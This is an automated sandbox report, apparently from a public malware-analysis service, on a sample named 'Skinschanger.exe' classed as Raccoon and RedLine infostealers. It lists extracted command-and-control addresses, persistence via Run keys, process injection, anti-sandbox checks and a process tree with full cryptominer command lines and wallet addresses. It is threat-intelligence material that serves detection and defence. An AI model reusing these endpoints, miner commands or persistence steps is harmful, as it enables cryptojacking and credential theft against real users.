raccoon | 4fce37e360ca280e7aca9ce2eacef82c77a4b7d62bf23a447fe582ad79847d4d

Analysis

max time kernel
151s
max time network
145s
platform
windows10_x64
resource
win10-en-20211208
submitted
30/12/2021, 10:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Skinschanger.exe
Size 1.1MB
Sample211230-mbc4saecgr
SHA256 4fce37e360ca280e7aca9ce2eacef82c77a4b7d62bf23a447fe582ad79847d4d
MD5 be277c5f2029e1e98383ddc3e6029a46
SHA1 22e0a61b66d565190e0647057037b7c144cc0878
SHA512 8571976840e4e2608a965cf22cf6dbbc834e467b3b7b97e0fcb8d268bb0c1eebccdc72f8ed238bef8a17fecedd1e85e3e7d0d76e8a6edfc052e2b7c31a658152
MD5 SHA1 SHA512

Score

10^/10

raccoon redline cheat e9f10fade0328e7cef5c9f5bf00076086ba5a8a1 discovery evasion infostealer persistence spyware stealer trojan

Malware Config

Extracted

Family

redline

45.153.184.61:34783

Extracted

Family

redline

Botnet

cheat

45.147.196.146:6213

Extracted

Family

raccoon

Botnet

e9f10fade0328e7cef5c9f5bf00076086ba5a8a1

Attributes

url4cnc
http://91.219.236.18/baldandbankrupt1

http://194.180.174.41/baldandbankrupt1

http://91.219.236.148/baldandbankrupt1

https://t.me/baldandbankrupt1

rc4.plain

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 7 IoCs

resource	yara_rule
behavioral2/memory/2168-124-0x000000000041C56E-mapping.dmp	family_redline
behavioral2/memory/2168-125-0x0000000000750000-0x0000000000772000-memory.dmp	family_redline
behavioral2/memory/2168-126-0x0000000000750000-0x0000000000772000-memory.dmp	family_redline
behavioral2/memory/4000-226-0x0000000000A70000-0x0000000000A90000-memory.dmp	family_redline
behavioral2/memory/4000-227-0x0000000000A70000-0x0000000000A90000-memory.dmp	family_redline
behavioral2/files/0x000500000001ab8c-224.dat	family_redline
behavioral2/files/0x000500000001ab8c-223.dat	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3104 created 1444	3104	WerFault.exe	112

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file

Executes dropped EXE 26 IoCs

pid	Process
924	deadcloud1_build.exe
2944	RegHost.exe
3260	RegHost.exe
2400	RegHost.exe
3820	RegHost.exe
2536	RegHost.exe
2312	RegHost.exe
1748	safas2f.exe
4000	whw.exe
2288	e3dwefw.exe
1444	sdfsd.exe
812	RegHost.exe
3500	RegHost.exe
4032	RegHost.exe
2980	RegHost.exe
3808	RegHost.exe
2480	RegHost.exe
2996	RegHost.exe
896	RegHost.exe
2300	RegHost.exe
4020	RegHost.exe
3824	RegHost.exe
2872	RegHost.exe
1724	RegHost.exe
3608	RegHost.exe
3708	RegHost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sdfsd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sdfsd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\ChromeUpdate.exe"	e3dwefw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	deadcloud1_build.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	safas2f.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	sdfsd.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
924	deadcloud1_build.exe
924	deadcloud1_build.exe
4076	bfsvc.exe
4076	bfsvc.exe
2944	RegHost.exe
2944	RegHost.exe
1836	bfsvc.exe
1836	bfsvc.exe
3260	RegHost.exe
3260	RegHost.exe
2288	bfsvc.exe
2288	bfsvc.exe
2400	RegHost.exe
2400	RegHost.exe
2680	bfsvc.exe
2680	bfsvc.exe
3820	RegHost.exe
3820	RegHost.exe
3288	bfsvc.exe
3288	bfsvc.exe
2536	RegHost.exe
2536	RegHost.exe
1840	bfsvc.exe
1840	bfsvc.exe
2312	RegHost.exe
2312	RegHost.exe
2944	bfsvc.exe
2944	bfsvc.exe
1444	sdfsd.exe
1748	safas2f.exe
1444	sdfsd.exe
1748	safas2f.exe
2308	bfsvc.exe
2308	bfsvc.exe
3500	RegHost.exe
3500	RegHost.exe
812	RegHost.exe
812	RegHost.exe
1160	bfsvc.exe
1160	bfsvc.exe
2536	bfsvc.exe
2536	bfsvc.exe
2980	RegHost.exe
4032	RegHost.exe
4032	RegHost.exe
2980	RegHost.exe
3024	bfsvc.exe
3220	bfsvc.exe
3024	bfsvc.exe
3220	bfsvc.exe
2480	RegHost.exe
3808	RegHost.exe
2480	RegHost.exe
3808	RegHost.exe
1032	bfsvc.exe
1032	bfsvc.exe
2064	bfsvc.exe
2064	bfsvc.exe
2996	RegHost.exe
2996	RegHost.exe
896	RegHost.exe
2128	bfsvc.exe
2128	bfsvc.exe
896	RegHost.exe

Suspicious use of SetThreadContext 47 IoCs

description	pid	Process	procid_target
PID 3808 set thread context of 2168	3808	Skinschanger.exe	69
PID 924 set thread context of 4076	924	deadcloud1_build.exe	73
PID 924 set thread context of 704	924	deadcloud1_build.exe	74
PID 2944 set thread context of 1836	2944	RegHost.exe	79
PID 2944 set thread context of 1912	2944	RegHost.exe	81
PID 3260 set thread context of 2288	3260	RegHost.exe	85
PID 3260 set thread context of 376	3260	RegHost.exe	86
PID 2400 set thread context of 2680	2400	RegHost.exe	90
PID 2400 set thread context of 2880	2400	RegHost.exe	91
PID 3820 set thread context of 3288	3820	RegHost.exe	95
PID 3820 set thread context of 3344	3820	RegHost.exe	96
PID 2536 set thread context of 1840	2536	RegHost.exe	100
PID 2536 set thread context of 3860	2536	RegHost.exe	102
PID 2312 set thread context of 2944	2312	RegHost.exe	105
PID 2312 set thread context of 1572	2312	RegHost.exe	107
PID 1748 set thread context of 2308	1748	safas2f.exe	113
PID 1748 set thread context of 1716	1748	safas2f.exe	114
PID 3500 set thread context of 1160	3500	RegHost.exe	120
PID 3500 set thread context of 2436	3500	RegHost.exe	121
PID 812 set thread context of 2536	812	RegHost.exe	123
PID 812 set thread context of 3608	812	RegHost.exe	124
PID 4032 set thread context of 3024	4032	RegHost.exe	130
PID 4032 set thread context of 3644	4032	RegHost.exe	131
PID 2980 set thread context of 3220	2980	RegHost.exe	133
PID 2980 set thread context of 1368	2980	RegHost.exe	134
PID 2480 set thread context of 1032	2480	RegHost.exe	140
PID 2480 set thread context of 2284	2480	RegHost.exe	141
PID 3808 set thread context of 2064	3808	RegHost.exe	143
PID 3808 set thread context of 2364	3808	RegHost.exe	144
PID 2996 set thread context of 2128	2996	RegHost.exe	152
PID 2996 set thread context of 1704	2996	RegHost.exe	154
PID 896 set thread context of 980	896	RegHost.exe	155
PID 896 set thread context of 1068	896	RegHost.exe	156
PID 2300 set thread context of 3052	2300	RegHost.exe	160
PID 2300 set thread context of 1016	2300	RegHost.exe	162
PID 4020 set thread context of 3868	4020	RegHost.exe	165
PID 4020 set thread context of 3828	4020	RegHost.exe	167
PID 3824 set thread context of 3500	3824	RegHost.exe	170
PID 3824 set thread context of 2844	3824	RegHost.exe	171
PID 2872 set thread context of 4088	2872	RegHost.exe	175
PID 2872 set thread context of 1416	2872	RegHost.exe	177
PID 1724 set thread context of 3080	1724	RegHost.exe	180
PID 1724 set thread context of 1160	1724	RegHost.exe	181
PID 3608 set thread context of 1256	3608	RegHost.exe	185
PID 3608 set thread context of 1668	3608	RegHost.exe	187
PID 3708 set thread context of 3524	3708	RegHost.exe	190
PID 3708 set thread context of 4016	3708	RegHost.exe	191

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3104	1444	WerFault.exe	112

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2168	RegAsm.exe
2168	RegAsm.exe
2168	RegAsm.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
704	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
1912	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
376	explorer.exe
2880	explorer.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	RegAsm.exe
Token: SeDebugPrivilege	4000	whw.exe
Token: SeRestorePrivilege	3104	WerFault.exe
Token: SeBackupPrivilege	3104	WerFault.exe
Token: SeDebugPrivilege	3104	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 3808 wrote to memory of 2168	3808	Skinschanger.exe	69
PID 2168 wrote to memory of 924	2168	RegAsm.exe	71
PID 2168 wrote to memory of 924	2168	RegAsm.exe	71
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 4076	924	deadcloud1_build.exe	73
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 924 wrote to memory of 704	924	deadcloud1_build.exe	74
PID 704 wrote to memory of 2944	704	explorer.exe	76
PID 704 wrote to memory of 2944	704	explorer.exe	76
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79
PID 2944 wrote to memory of 1836	2944	RegHost.exe	79

C:\Users\Admin\AppData\Local\Temp\Skinschanger.exe
"C:\Users\Admin\AppData\Local\Temp\Skinschanger.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3808
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Users\Admin\AppData\Local\Temp\deadcloud1_build.exe
    "C:\Users\Admin\AppData\Local\Temp\deadcloud1_build.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:924
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4076
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:704
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2944
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1836
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1912
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3260
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2288
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:376
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2400
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
        10⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2680
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        10⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2880
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3820
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
        12⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3288
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        12⤵
        
        PID:3344
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2536
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
        14⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1840
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        14⤵
        
        PID:3860
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2312
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x9dEbea19ca7c4Af9B41c6A4F1DC7fa9541AE9696 -coin etc -worker EasyMiner_Bot -cclock +500 -cvddc +500
        16⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2944
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        16⤵
        
        PID:1572
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3500
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        18⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1160
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        18⤵
        
        PID:2436
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4032
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        20⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3024
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        20⤵
        
        PID:3644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        21⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3808
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        22⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2064
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        22⤵
        
        PID:2364
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        23⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:896
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        24⤵
        
        PID:980
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        24⤵
        
        PID:1068
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        25⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4020
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        26⤵
        
        PID:3868
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        26⤵
        
        PID:3828
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        27⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2872
        
        C:\Windows\bfsvc.exe
        
